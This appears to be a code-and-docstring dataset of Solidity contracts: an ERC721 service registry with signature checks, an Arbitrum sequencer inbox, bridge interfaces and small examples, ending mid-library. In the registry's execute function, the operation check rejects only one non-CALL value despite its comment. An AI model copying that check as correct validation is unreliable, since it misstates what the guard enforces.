contract Registry is ERC721("Valory Registry", "VRT"), Ownable {
/* Constructor */
/* Events */
/**
* @dev Occurs when a new service is registered.
*
* @param name - The service name
* @param owner - The service owner
*/
event ServiceRegistered(string name, address indexed owner);
/**
* @dev Occurs when a new service is unregistered.
*
* @param name - The service name
* @param owner - The service owner
*/
event ServiceUnregistered(string name, address indexed owner);
/**
* @dev Occurs when a token is used for a service.
*
* @param tokenId - The token id
* @param serviceName - The service name
*/
event TokenUsed(bytes32 indexed tokenId, string serviceName);
/**
* @dev Occurs when a token is unused for a service.
*
* @param tokenId - The token id
* @param serviceName - The service name
*/
event TokenUnused(bytes32 indexed tokenId, string serviceName);
/* Constancs */
/// @dev The external operation types.
uint256 private constant OPERATION_CALL = 0;
uint256 private constant OPERATION_DELEGATECALL = 1;
uint256 private constant OPERATION_CREATE2 = 2;
uint256 private constant OPERATION_CREATE = 3;
/* Libraries */
/// @notice Use libraries to handle many to many relationship.
using EnumerableSet for EnumerableSet.Bytes32Set;
using String for string;
using Bytes32 for bytes32;
/* Data Struct */
/// @dev Service struct represents the registered services.
struct Service {
address owner; // The EOA who owned the service
EnumerableSet.Bytes32Set tokenIds; // The collection of token Ids that belong to the service
}
/* State Variables */
/// @dev The map of services by the service name as the key.
mapping(string => Service) private services;
/// @dev The map of services by the token Id as the key.
/// @notice A token can be used for multiple services.
mapping(bytes32 => EnumerableSet.Bytes32Set) private uses;
/// @dev The nonces used for recovering signer, prevents replay attack.
mapping(address => uint256) public nonces;
/* Modifiers */
/// @dev Restricts the length of string to be less than or equal to the given length.
modifier lengthedString(string calldata name, uint256 length) {
require(bytes(name).length <= length, "VRT: String length exceeds the limitation");
_;
}
/* Public Functions */
/**
* @dev Registers a service and set the caller to the owner.
* Reverts if the service was registered already.
* Emits ServiceRegistered on completion.
*
* @param name - The name of the service being registered, limited to be less than or equal 32 bytes,
* as the name is used for resolving token to service relationship as bytes32 type
* @param signature - The signature
* @param signer - The signer of the transaction
*/
function registerService(
string calldata name,
bytes calldata signature,
address signer
) external onlyOwner lengthedString(name, 32) {
_verifySign(keccak256(abi.encodePacked(name)), signature, signer);
require(!_serviceExists(name), "VRT: Service already exist");
services[name].owner = signer;
emit ServiceRegistered(name, signer);
}
/**
* @dev Unregisters a service and releases all used tokens.
* Reverts if the service was not found, or when the sender is not the owner.
* Emits ServiceUnregistered on completion.
*
* @param name - The name of the service being unregistered
* @param signature - The signature
* @param signer - The signer of the transaction
*/
function unregisterService(
string calldata name,
bytes calldata signature,
address signer
) external onlyOwner {
_verifySign(keccak256(abi.encodePacked(name)), signature, signer);
require(_serviceExists(name), "VRT: Service not found");
Service storage service = services[name];
address owner = service.owner;
require(owner == signer, "VRT: No permission");
// remove token to service relationships.
EnumerableSet.Bytes32Set storage tokenIds = service.tokenIds;
uint256 length = tokenIds.length();
for (uint256 i = 0; i < length; i++) {
uses[tokenIds.at(i)].remove(name.toBytes32());
}
// remove service to token relationships.
delete services[name];
emit ServiceUnregistered(name, owner);
}
/**
* @dev Registers(mint) a token.
* Emits Transfer on completion.
*
* @param to - The address of the owner of the token being newly registered
* @param tokenId - The IFPS hash of the asset
* @param signature - The signature
* @param signer - The signer of the transaction
*/
function registerToken(
address to,
bytes32 tokenId,
bytes calldata signature,
address signer
) public onlyOwner {
_verifySign(keccak256(abi.encodePacked(to, tokenId)), signature, signer);
_safeMint(to, tokenId.toUint());
}
/**
* @dev Registers(mint) a token and add to a service.
* Reverts if the service doesn't exist.
* Emits Transfer, TokenUsed on completion.
*
* @param to - The address of the owner of the token being newly registered
* @param tokenId - The IFPS hash of the asset
* @param serviceName - The service name which uses the token
* @param signature - The signature
* @param signer - The signer of the transaction
*/
function registerToken(
address to,
bytes32 tokenId,
string calldata serviceName,
bytes calldata signature,
address signer
) external onlyOwner {
_verifySign(keccak256(abi.encodePacked(to, tokenId, serviceName)), signature, signer);
require(_serviceExists(serviceName), "VRT: Service not found");
_safeMint(to, tokenId.toUint());
_useToken(tokenId, serviceName);
}
/**
* @dev Unregisters(burn) a token and removes from services.
* Reverts if the token doesn't exist, or the caller is not the owner.
* Emits Transfer on completion.
*
* @param tokenId - The IFPS hash of the asset
* @param signature - The signature
* @param signer - The signer of the transaction
*/
function unregisterToken(
bytes32 tokenId,
bytes calldata signature,
address signer
) external onlyOwner {
_verifySign(keccak256(abi.encodePacked(tokenId)), signature, signer);
uint256 uId = tokenId.toUint();
require(_exists(uId), "VRT: Token not found");
require(ownerOf(uId) == signer, "VRT: No permission");
_burn(uId);
// remove service to token relationships.
EnumerableSet.Bytes32Set storage usedServiceNames = uses[tokenId];
uint256 length = usedServiceNames.length();
for (uint256 i = 0; i < length; ++i) {
services[usedServiceNames.at(i).toString()].tokenIds.remove(tokenId);
}
// remove token to service relationships.
delete uses[tokenId];
}
/**
* @dev Adds a token to a service.
* Emits TokenUsed on completion.
*
* @param tokenId - The IFPS hash of the asset
* @param serviceName - The service name which uses the token
* @param signature - The signature
* @param signer - The signer of the transaction
*/
function useToken(
bytes32 tokenId,
string calldata serviceName,
bytes calldata signature,
address signer
) external onlyOwner {
_verifySign(keccak256(abi.encodePacked(tokenId, serviceName)), signature, signer);
require(_serviceExists(serviceName), "VRT: Service not found");
uint256 uId = tokenId.toUint();
require(_exists(uId), "VRT: Token not found");
require(ownerOf(uId) == signer, "VRT: No permission");
require(!_tokenUsed(tokenId, serviceName), "VRT: Token already is used");
_useToken(tokenId, serviceName);
}
/**
* @dev Removes a token from a service.
* Emits TokenUnused on completion.
*
* @param tokenId - The IFPS hash of the asset
* @param serviceName - The service name which uses the token
* @param signature - The signature
* @param signer - The signer of the transaction
*/
function unuseToken(
bytes32 tokenId,
string calldata serviceName,
bytes calldata signature,
address signer
) external onlyOwner {
_verifySign(keccak256(abi.encodePacked(tokenId, serviceName)), signature, signer);
require(_serviceExists(serviceName), "VRT: Service not found");
uint256 uId = tokenId.toUint();
require(_exists(uId), "VRT: Token not found");
require(ownerOf(uId) == signer, "VRT: No permission");
require(_tokenUsed(tokenId, serviceName), "VRT: Token was not used");
_unuseToken(tokenId, serviceName);
}
/**
* @dev Executes any other smart contract. Is only callable by the owner.
* Reverts if the signer has no permission to do.
*
* @param operation - The operation to execute, only supports call: CALL = 0; DELEGATECALL = 1; CREATE2 = 2; CREATE = 3;
* @param to - The external smart contract
* @param value - The value of Ether to transfer
* @param data - The call data
* @param serviceName - The service name used to validate the permission of the signer
* @param signature - The signature
* @param signer - The signer of the transaction
*/
function execute(
uint256 operation,
address to,
uint256 value,
bytes calldata data,
string calldata serviceName,
bytes calldata signature,
address signer
) external payable onlyOwner {
_verifySign(keccak256(abi.encodePacked(operation, to, value, data, serviceName)), signature, signer);
require(services[serviceName].owner == signer, "VRT: No permission");
// build error data
bytes memory unsupportedOpErrData = abi.encodeWithSignature("Error(string)", "VRT: Unsupported operation"); // less than 32 bytes
assembly {
// only supports CALL operation, otherwise reverts
if eq(xor(operation, OPERATION_CALL), 1) {
revert(add(unsupportedOpErrData, 0x20), mload(unsupportedOpErrData))
}
}
// make external call, with limited amount of gas.
_executeCall(to, value, gasleft() - 2500, data); // Used to avoid stack too deep error.
}
/* Private Functions */
/**
* @dev Verify if the transaction has been signed by a valid signer.
* Increases the nonce of the signer on validation success.
*/
function _verifySign(
bytes32 message,
bytes memory signature,
address signer
) private {
message = keccak256(abi.encodePacked(nonces[signer], message));
require(_recoverSigner(message, signature) == signer, "VRT: Invalid signer");
nonces[signer]++;
}
/**
* @dev Recovers the signer of the transaction.
* Reverts if invalid signature was provided.
*
* @param message - The transaction message consists of parameters
* @param signature - The signature of the transaction
* @return signer - The valid signer of the transaction
*/
function _recoverSigner(bytes32 message, bytes memory signature) private pure returns (address signer) {
require(signature.length == 65, "VRT: Invalid signature length");
// build a prefixed hash to mimic the behavior of eth_sign.
message = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", message));
// split signature
uint8 v;
bytes32 r;
bytes32 s;
assembly {
// first 32 bytes, after the length prefix.
r := mload(add(signature, 32))
// second 32 bytes.
s := mload(add(signature, 64))
// final byte (first byte of the next 32 bytes).
v := byte(0, mload(add(signature, 96)))
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if gt(s, 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
s := sub(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141, s)
}
if or(eq(v, 0), eq(v, 1)) {
v := add(v, 27)
}
}
// recover signer
signer = ecrecover(message, v, r, s);
/// @notice Invalid signatures will produce an empty address.
require(signer != address(0), "VRT: Invalid signature");
}
/**
* @dev Executes external contract call.
* Returns data returned from the external contract if the call was successful, otherwise reverts.
*
* @param to - The address of the external contract being called
* @param value - The value of Ether to transfer
* @param gasTo - The amount gas allowed for the external contract
* @param data - The call data
*/
function _executeCall(
address to,
uint256 value,
uint256 gasTo,
bytes memory data
) private {
assembly {
// call external contract.
let result := call(gasTo, to, value, add(data, 0x20), mload(data), 0, 0)
// alloc memory for returned data.
let pos := mload(0x40)
let len := returndatasize()
mstore(0x40, add(pos, len))
// copy the returned data.
returndatacopy(pos, 0, len)
switch result
// call returns 0 on error.
case 0 {
revert(pos, len)
}
default {
return(pos, len)
}
}
}
/**
* @dev Checks if the service of name exists.
*
* @param name - The service name
* @return true if the service of name exists, otherwise false
*/
function _serviceExists(string calldata name) private view returns (bool) {
return services[name].owner != address(0);
}
/**
* @dev Checks if the token is used for the service.
*
* @param tokenId - The IFPS hash of the asset
* @param serviceName - The service name which uses the token
* @return true if the token is used for the service of name, otherwise false
*/
function _tokenUsed(bytes32 tokenId, string calldata serviceName) private view returns (bool) {
return uses[tokenId].contains(serviceName.toBytes32());
}
/**
* @dev Adds a token to a service.
*
* @param tokenId - The IFPS hash of the asset
* @param serviceName - The service name which uses the token
*/
function _useToken(bytes32 tokenId, string calldata serviceName) private {
// add service to token relationship.
services[serviceName].tokenIds.add(tokenId);
// add token to service relationship.
uses[tokenId].add(serviceName.toBytes32());
emit TokenUsed(tokenId, serviceName);
}
/**
* @dev Removes a token from a service.
*
* @param tokenId - The IFPS hash of the asset
* @param serviceName - The service name which uses the token
*/
function _unuseToken(bytes32 tokenId, string calldata serviceName) private {
// remove service to token relationship.
services[serviceName].tokenIds.remove(tokenId);
// remove token to service relationship.
uses[tokenId].remove(serviceName.toBytes32());
emit TokenUnused(tokenId, serviceName);
}
}
|
Executes external contract call. Returns data returned from the external contract if the call was successful, otherwise reverts. to - The address of the external contract being called value - The value of Ether to transfer gasTo - The amount gas allowed for the external contract data - The call data/ call external contract. alloc memory for returned data. copy the returned data. call returns 0 on error.
|
function _executeCall(
address to,
uint256 value,
uint256 gasTo,
bytes memory data
) private {
assembly {
let result := call(gasTo, to, value, add(data, 0x20), mload(data), 0, 0)
let pos := mload(0x40)
let len := returndatasize()
mstore(0x40, add(pos, len))
returndatacopy(pos, 0, len)
switch result
case 0 {
revert(pos, len)
}
default {
return(pos, len)
}
}
}
| 6,358,103
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
contract FunctionContract {
// public external internal private
// view pure
uint public walletBalance;
string message = "Basic text";
// call
function getBalance() public view returns(uint) {
return address(this).balance;
}
// call
function getBalance2() public view returns(uint balance) {
balance = address(this).balance;
}
// transaction
function pay() external payable {
walletBalance += msg.value;
}
// alternative pay() fullback function receive
receive() external payable {
walletBalance += msg.value;
}
// Accept any incoming amount old version solidity v4-v5
//function () public payable {}
// if the function call does not exist
fallback() external payable {
// some do
}
//transaction
function setMessage(string memory newMessage) external {
message = newMessage;
//return message; // transaction func not return data!
}
}
|
transactionreturn message; transaction func not return data!
|
function setMessage(string memory newMessage) external {
message = newMessage;
}
| 1,777,986
|
./full_match/1/0xa205D797243126F312aE63bB0A5EA9A32FB14f41/sources/browser/NEW_LAUNCH_MAINNET.sol
|
Function to get the balance to claim of user in TOKEN. account - user address. return balance to claim./
|
function getBalanceToClaimTokens(address account) public view returns (uint256) {
return _balancesToClaimTokens[account];
}
| 3,084,285
|
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./interfaces/ISequencerInbox.sol";
import "./interfaces/IBridge.sol";
import "../arch/Marshaling.sol";
import "../libraries/Cloneable.sol";
import "../rollup/Rollup.sol";
import "./Messages.sol";
interface OldRollup {
function sequencerInboxMaxDelayBlocks() external view returns (uint256);
function sequencerInboxMaxDelaySeconds() external view returns (uint256);
}
contract SequencerInbox is ISequencerInbox, Cloneable {
// Sequencer-Inbox state accumulator
bytes32[] public override inboxAccs;
// Number of messages included in the sequencer-inbox; tracked seperately from inboxAccs since multiple messages can be included in a single inboxAcc update (i.e., many messages in a batch, many batches in a single inboxAccs update, etc)
uint256 public override messageCount;
// count of messages read from the delayedInbox
uint256 public totalDelayedMessagesRead;
IBridge public delayedInbox;
address private deprecatedSequencer;
address public rollup;
mapping(address => bool) public override isSequencer;
// Window in which only the Sequencer can update the Inbox; this delay is what allows the Sequencer to give receipts with sub-blocktime latency.
uint256 public override maxDelayBlocks;
uint256 public override maxDelaySeconds;
function initialize(
IBridge _delayedInbox,
address _sequencer,
address _rollup
) external {
require(address(delayedInbox) == address(0), "ALREADY_INIT");
delayedInbox = _delayedInbox;
isSequencer[_sequencer] = true;
rollup = _rollup;
// it is assumed that maxDelayBlocks and maxDelaySeconds are set by the rollup
}
function postUpgradeInit() external {
// it is assumed the sequencer inbox contract is behind a Proxy controlled by a
// proxy admin. this function can only be called by the proxy admin contract
address proxyAdmin = ProxyUtil.getProxyAdmin();
require(msg.sender == proxyAdmin, "NOT_FROM_ADMIN");
// the sequencer inbox needs to query the old rollup interface since it will be upgraded first
OldRollup _rollup = OldRollup(rollup);
maxDelayBlocks = _rollup.sequencerInboxMaxDelayBlocks();
maxDelaySeconds = _rollup.sequencerInboxMaxDelaySeconds();
isSequencer[deprecatedSequencer] = true;
}
/// @notice DEPRECATED - use isSequencer instead
function sequencer() external view override returns (address) {
return deprecatedSequencer;
}
function setIsSequencer(address addr, bool newIsSequencer) external override {
require(msg.sender == rollup, "ONLY_ROLLUP");
isSequencer[addr] = newIsSequencer;
emit IsSequencerUpdated(addr, newIsSequencer);
}
function setMaxDelay(uint256 newMaxDelayBlocks, uint256 newMaxDelaySeconds) external override {
require(msg.sender == rollup, "ONLY_ROLLUP");
maxDelayBlocks = newMaxDelayBlocks;
maxDelaySeconds = newMaxDelaySeconds;
emit MaxDelayUpdated(newMaxDelayBlocks, newMaxDelaySeconds);
}
/**
* @notice Move messages from the delayed inbox into the Sequencer inbox. Callable by any address. Necessary iff Sequencer hasn't included them before delay period expired.
*/
function forceInclusion(
uint256 _totalDelayedMessagesRead,
uint8 kind,
uint256[2] calldata l1BlockAndTimestamp,
uint256 inboxSeqNum,
uint256 gasPriceL1,
address sender,
bytes32 messageDataHash,
bytes32 delayedAcc
) external {
require(_totalDelayedMessagesRead > totalDelayedMessagesRead, "DELAYED_BACKWARDS");
{
bytes32 messageHash = Messages.messageHash(
kind,
sender,
l1BlockAndTimestamp[0],
l1BlockAndTimestamp[1],
inboxSeqNum,
gasPriceL1,
messageDataHash
);
// Can only force-include after the Sequencer-only window has expired.
require(l1BlockAndTimestamp[0] + maxDelayBlocks < block.number, "MAX_DELAY_BLOCKS");
require(l1BlockAndTimestamp[1] + maxDelaySeconds < block.timestamp, "MAX_DELAY_TIME");
// Verify that message hash represents the last message sequence of delayed message to be included
bytes32 prevDelayedAcc = 0;
if (_totalDelayedMessagesRead > 1) {
prevDelayedAcc = delayedInbox.inboxAccs(_totalDelayedMessagesRead - 2);
}
require(
delayedInbox.inboxAccs(_totalDelayedMessagesRead - 1) ==
Messages.addMessageToInbox(prevDelayedAcc, messageHash),
"DELAYED_ACCUMULATOR"
);
}
uint256 startNum = messageCount;
bytes32 beforeAcc = 0;
if (inboxAccs.length > 0) {
beforeAcc = inboxAccs[inboxAccs.length - 1];
}
(bytes32 acc, uint256 count) = includeDelayedMessages(
beforeAcc,
startNum,
_totalDelayedMessagesRead,
block.number,
block.timestamp,
delayedAcc
);
inboxAccs.push(acc);
messageCount = count;
emit DelayedInboxForced(
startNum,
beforeAcc,
count,
_totalDelayedMessagesRead,
[acc, delayedAcc],
inboxAccs.length - 1
);
}
function addSequencerL2BatchFromOrigin(
bytes calldata transactions,
uint256[] calldata lengths,
uint256[] calldata sectionsMetadata,
bytes32 afterAcc
) external {
// solhint-disable-next-line avoid-tx-origin
require(msg.sender == tx.origin, "origin only");
uint256 startNum = messageCount;
bytes32 beforeAcc = addSequencerL2BatchImpl(
transactions,
lengths,
sectionsMetadata,
afterAcc
);
emit SequencerBatchDeliveredFromOrigin(
startNum,
beforeAcc,
messageCount,
afterAcc,
inboxAccs.length - 1
);
}
/**
* @notice Sequencer adds a batch to inbox.
* @param transactions concatenated bytes of L2 messages
* @param lengths length of each txn in transctions (for parsing)
* @param sectionsMetadata Each consists of [numItems, l1BlockNumber, l1Timestamp, newTotalDelayedMessagesRead, newDelayedAcc]
* @param afterAcc Expected inbox hash after batch is added
* @dev sectionsMetadata lets the sequencer delineate new l1Block numbers and l1Timestamps within a given batch; this lets the sequencer minimize the number of batches created (and thus amortizing cost) while still giving timely receipts
*/
function addSequencerL2Batch(
bytes calldata transactions,
uint256[] calldata lengths,
uint256[] calldata sectionsMetadata,
bytes32 afterAcc
) external {
uint256 startNum = messageCount;
bytes32 beforeAcc = addSequencerL2BatchImpl(
transactions,
lengths,
sectionsMetadata,
afterAcc
);
emit SequencerBatchDelivered(
startNum,
beforeAcc,
messageCount,
afterAcc,
transactions,
lengths,
sectionsMetadata,
inboxAccs.length - 1,
msg.sender
);
}
function addSequencerL2BatchImpl(
bytes memory transactions,
uint256[] calldata lengths,
uint256[] calldata sectionsMetadata,
bytes32 afterAcc
) private returns (bytes32 beforeAcc) {
require(isSequencer[msg.sender], "ONLY_SEQUENCER");
if (inboxAccs.length > 0) {
beforeAcc = inboxAccs[inboxAccs.length - 1];
}
uint256 runningCount = messageCount;
bytes32 runningAcc = beforeAcc;
uint256 processedItems = 0;
uint256 dataOffset;
assembly {
dataOffset := add(transactions, 32)
}
for (uint256 i = 0; i + 5 <= sectionsMetadata.length; i += 5) {
// Each metadata section consists of:
// [numItems, l1BlockNumber, l1Timestamp, newTotalDelayedMessagesRead, newDelayedAcc]
{
uint256 l1BlockNumber = sectionsMetadata[i + 1];
require(l1BlockNumber + maxDelayBlocks >= block.number, "BLOCK_TOO_OLD");
require(l1BlockNumber <= block.number, "BLOCK_TOO_NEW");
}
{
uint256 l1Timestamp = sectionsMetadata[i + 2];
require(l1Timestamp + maxDelaySeconds >= block.timestamp, "TIME_TOO_OLD");
require(l1Timestamp <= block.timestamp, "TIME_TOO_NEW");
}
{
bytes32 prefixHash = keccak256(
abi.encodePacked(msg.sender, sectionsMetadata[i + 1], sectionsMetadata[i + 2])
);
uint256 numItems = sectionsMetadata[i];
(runningAcc, runningCount, dataOffset) = calcL2Batch(
dataOffset,
lengths,
processedItems,
numItems,
prefixHash,
runningCount,
runningAcc
);
processedItems += numItems;
}
uint256 newTotalDelayedMessagesRead = sectionsMetadata[i + 3];
require(newTotalDelayedMessagesRead >= totalDelayedMessagesRead, "DELAYED_BACKWARDS");
require(newTotalDelayedMessagesRead >= 1, "MUST_DELAYED_INIT");
require(
totalDelayedMessagesRead >= 1 || sectionsMetadata[i] == 0,
"MUST_DELAYED_INIT_START"
);
// Sequencer decides how many messages (if any) to include from the delayed inbox
if (newTotalDelayedMessagesRead > totalDelayedMessagesRead) {
(runningAcc, runningCount) = includeDelayedMessages(
runningAcc,
runningCount,
newTotalDelayedMessagesRead,
sectionsMetadata[i + 1], // block number
sectionsMetadata[i + 2], // timestamp
bytes32(sectionsMetadata[i + 4]) // delayed accumulator
);
}
}
uint256 startOffset;
assembly {
startOffset := add(transactions, 32)
}
require(dataOffset >= startOffset, "OFFSET_OVERFLOW");
require(dataOffset <= startOffset + transactions.length, "TRANSACTIONS_OVERRUN");
require(runningCount > messageCount, "EMPTY_BATCH");
inboxAccs.push(runningAcc);
messageCount = runningCount;
require(runningAcc == afterAcc, "AFTER_ACC");
}
function calcL2Batch(
uint256 beforeOffset,
uint256[] calldata lengths,
uint256 lengthsOffset,
uint256 itemCount,
bytes32 prefixHash,
uint256 beforeCount,
bytes32 beforeAcc
)
private
pure
returns (
bytes32 acc,
uint256 count,
uint256 offset
)
{
offset = beforeOffset;
count = beforeCount;
acc = beforeAcc;
itemCount += lengthsOffset;
for (uint256 i = lengthsOffset; i < itemCount; i++) {
uint256 length = lengths[i];
bytes32 messageDataHash;
assembly {
messageDataHash := keccak256(offset, length)
}
acc = keccak256(abi.encodePacked(acc, count, prefixHash, messageDataHash));
offset += length;
count++;
}
return (acc, count, offset);
}
// Precondition: _totalDelayedMessagesRead > totalDelayedMessagesRead
function includeDelayedMessages(
bytes32 acc,
uint256 count,
uint256 _totalDelayedMessagesRead,
uint256 l1BlockNumber,
uint256 timestamp,
bytes32 delayedAcc
) private returns (bytes32, uint256) {
require(_totalDelayedMessagesRead <= delayedInbox.messageCount(), "DELAYED_TOO_FAR");
require(delayedAcc == delayedInbox.inboxAccs(_totalDelayedMessagesRead - 1), "DELAYED_ACC");
acc = keccak256(
abi.encodePacked(
"Delayed messages:",
acc,
count,
totalDelayedMessagesRead,
_totalDelayedMessagesRead,
delayedAcc
)
);
count += _totalDelayedMessagesRead - totalDelayedMessagesRead;
bytes memory emptyBytes;
acc = keccak256(
abi.encodePacked(
acc,
count,
keccak256(abi.encodePacked(address(0), l1BlockNumber, timestamp)),
keccak256(emptyBytes)
)
);
count++;
totalDelayedMessagesRead = _totalDelayedMessagesRead;
return (acc, count);
}
/**
* @notice Prove message count as of provided inbox state hash
* @param proof proof data
* @param offset offset for parsing proof data
* @param inboxAcc target inbox state hash
*/
function proveSeqBatchMsgCount(
bytes calldata proof,
uint256 offset,
bytes32 inboxAcc
) internal pure returns (uint256, uint256) {
uint256 endMessageCount;
bytes32 buildingAcc;
uint256 seqNum;
bytes32 messageHeaderHash;
bytes32 messageDataHash;
(offset, buildingAcc) = Marshaling.deserializeBytes32(proof, offset);
(offset, seqNum) = Marshaling.deserializeInt(proof, offset);
(offset, messageHeaderHash) = Marshaling.deserializeBytes32(proof, offset);
(offset, messageDataHash) = Marshaling.deserializeBytes32(proof, offset);
buildingAcc = keccak256(
abi.encodePacked(buildingAcc, seqNum, messageHeaderHash, messageDataHash)
);
endMessageCount = seqNum + 1;
require(buildingAcc == inboxAcc, "BATCH_ACC");
return (offset, endMessageCount);
}
/**
* @notice Show that given messageCount falls inside of some batch and prove/return inboxAcc state. This is used to ensure that the creation of new nodes are replay protected to the state of the inbox, thereby ensuring their validity/invalidy can't be modified upon reorging the inbox contents.
* @dev (wrapper in leiu of proveBatchContainsSequenceNumber for sementics)
* @return (message count at end of target batch, inbox hash as of target batch)
*/
function proveInboxContainsMessage(bytes calldata proof, uint256 _messageCount)
external
view
override
returns (uint256, bytes32)
{
return proveInboxContainsMessageImp(proof, _messageCount);
}
// deprecated in favor of proveInboxContainsMessage
function proveBatchContainsSequenceNumber(bytes calldata proof, uint256 _messageCount)
external
view
returns (uint256, bytes32)
{
return proveInboxContainsMessageImp(proof, _messageCount);
}
function proveInboxContainsMessageImp(bytes calldata proof, uint256 _messageCount)
internal
view
returns (uint256, bytes32)
{
if (_messageCount == 0) {
return (0, 0);
}
(uint256 offset, uint256 targetInboxStateIndex) = Marshaling.deserializeInt(proof, 0);
uint256 messageCountAsOfPreviousInboxState = 0;
if (targetInboxStateIndex > 0) {
(offset, messageCountAsOfPreviousInboxState) = proveSeqBatchMsgCount(
proof,
offset,
inboxAccs[targetInboxStateIndex - 1]
);
}
bytes32 targetInboxState = inboxAccs[targetInboxStateIndex];
uint256 messageCountAsOfTargetInboxState;
(offset, messageCountAsOfTargetInboxState) = proveSeqBatchMsgCount(
proof,
offset,
targetInboxState
);
require(_messageCount > messageCountAsOfPreviousInboxState, "BATCH_START");
require(_messageCount <= messageCountAsOfTargetInboxState, "BATCH_END");
return (messageCountAsOfTargetInboxState, targetInboxState);
}
function getInboxAccsLength() external view override returns (uint256) {
return inboxAccs.length;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface ISequencerInbox {
event SequencerBatchDelivered(
uint256 indexed firstMessageNum,
bytes32 indexed beforeAcc,
uint256 newMessageCount,
bytes32 afterAcc,
bytes transactions,
uint256[] lengths,
uint256[] sectionsMetadata,
uint256 seqBatchIndex,
address sequencer
);
event SequencerBatchDeliveredFromOrigin(
uint256 indexed firstMessageNum,
bytes32 indexed beforeAcc,
uint256 newMessageCount,
bytes32 afterAcc,
uint256 seqBatchIndex
);
event DelayedInboxForced(
uint256 indexed firstMessageNum,
bytes32 indexed beforeAcc,
uint256 newMessageCount,
uint256 totalDelayedMessagesRead,
bytes32[2] afterAccAndDelayed,
uint256 seqBatchIndex
);
/// @notice DEPRECATED - look at IsSequencerUpdated for new updates
// event SequencerAddressUpdated(address newAddress);
event IsSequencerUpdated(address addr, bool isSequencer);
event MaxDelayUpdated(uint256 newMaxDelayBlocks, uint256 newMaxDelaySeconds);
/// @notice DEPRECATED - look at MaxDelayUpdated for new updates
// event MaxDelayBlocksUpdated(uint256 newValue);
/// @notice DEPRECATED - look at MaxDelayUpdated for new updates
// event MaxDelaySecondsUpdated(uint256 newValue);
function setMaxDelay(uint256 newMaxDelayBlocks, uint256 newMaxDelaySeconds) external;
function setIsSequencer(address addr, bool isSequencer) external;
function messageCount() external view returns (uint256);
function maxDelayBlocks() external view returns (uint256);
function maxDelaySeconds() external view returns (uint256);
function inboxAccs(uint256 index) external view returns (bytes32);
function getInboxAccsLength() external view returns (uint256);
function proveInboxContainsMessage(bytes calldata proof, uint256 inboxCount)
external
view
returns (uint256, bytes32);
/// @notice DEPRECATED - use isSequencer instead
function sequencer() external view returns (address);
function isSequencer(address seq) external view returns (bool);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface IBridge {
event MessageDelivered(
uint256 indexed messageIndex,
bytes32 indexed beforeInboxAcc,
address inbox,
uint8 kind,
address sender,
bytes32 messageDataHash
);
event BridgeCallTriggered(
address indexed outbox,
address indexed destAddr,
uint256 amount,
bytes data
);
event InboxToggle(address indexed inbox, bool enabled);
event OutboxToggle(address indexed outbox, bool enabled);
function deliverMessageToInbox(
uint8 kind,
address sender,
bytes32 messageDataHash
) external payable returns (uint256);
function executeCall(
address destAddr,
uint256 amount,
bytes calldata data
) external returns (bool success, bytes memory returnData);
// These are only callable by the admin
function setInbox(address inbox, bool enabled) external;
function setOutbox(address inbox, bool enabled) external;
// View functions
function activeOutbox() external view returns (address);
function allowedInboxes(address inbox) external view returns (bool);
function allowedOutboxes(address outbox) external view returns (bool);
function inboxAccs(uint256 index) external view returns (bytes32);
function messageCount() external view returns (uint256);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./Value.sol";
import "./Hashing.sol";
import "../libraries/BytesLib.sol";
library Marshaling {
using BytesLib for bytes;
using Value for Value.Data;
function deserializeHashPreImage(bytes memory data, uint256 startOffset)
internal
pure
returns (uint256 offset, Value.Data memory value)
{
